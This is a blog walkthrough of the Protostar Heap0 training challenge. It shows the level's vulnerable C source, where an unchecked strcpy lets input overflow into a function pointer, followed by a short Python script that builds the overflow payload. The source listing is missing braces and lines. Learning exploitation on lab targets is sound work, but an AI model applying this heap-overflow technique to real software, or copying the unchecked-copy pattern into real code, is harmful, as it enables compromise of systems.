Binary Exploitation Protostar Heap0 - Walkthrough - Writeups

Posted by Suraj Singh on May 13, 2018 · 4 mins read
Hello Guyz,

Welcome again to my blog. Today, I am going to share with you my walkthrough experience of Exploit-Exercise Protostar Heap0 Level.

In This Level, Our Task Is to Execute Winner Function Through Heap Overflow Concept.

Before Starting Our Walkthrough Let's Take a Look At Hints And Details.

Note: I want to highlight Few Points.

  • I'm not the creator of protostar war game. I am just a player.
  • Here, I am Just providing you hints and reference so, that if you feel stuck anywhere. Take a Look Here.
  • Understand all previous levels before starting this one.
  • Do some research on Assembly, C/C++ and Gdb
  • Do Some Research About Heap overflow exploitation.

Source Code

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
char name[64];

struct fp {
int (*fp)();

void winner()
printf("level passed\n");

void nowinner()
printf("level has not been passed\n");

int main(int argc, char **argv)
struct data *d;
struct fp *f;

d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;

printf("data is at %p, fp is at %p\n", d, f);

strcpy(d->name, argv[1]);




This level introduces heap overflows and how they can influence code flow.

This level is at /opt/protostar/bin/heap0

Code Review

  struct data *d;
struct fp *f;

d = malloc(sizeof(struct data)); <--- Locating Space For data struct
f = malloc(sizeof(struct fp)); <--- Locating Space For Fp Struct Just After The Data Struct.
f->fp = nowinner; <--- Assign Nowinner Function Pointer To FP Struct

printf("data is at %p, fp is at %p\n", d, f);

strcpy(d->name, argv[1]); <--- No Input Size verification.

f->fp(); <--- Calling Inner function


As You Can See, In Source Code Their Is Nothing To Verify User Input. Hence, We can Easily Heap Overflow And Write Winner Function Address.


  Heap Overview
| Name[64] | FP |

Overflow Name And Write Data To FP


import struct
# /opt/protostar/bin/heap0 $(python

buf = "a"*72
win = 0x08048464
ret = struct.pack("I",win)

payload = ''
payload+= buf
payload+= ret
print payload

For More Detailed Walk through Check Below Provided YouTube Video Playlist

Bitforestinfo YouTube Protostar CTF Playlist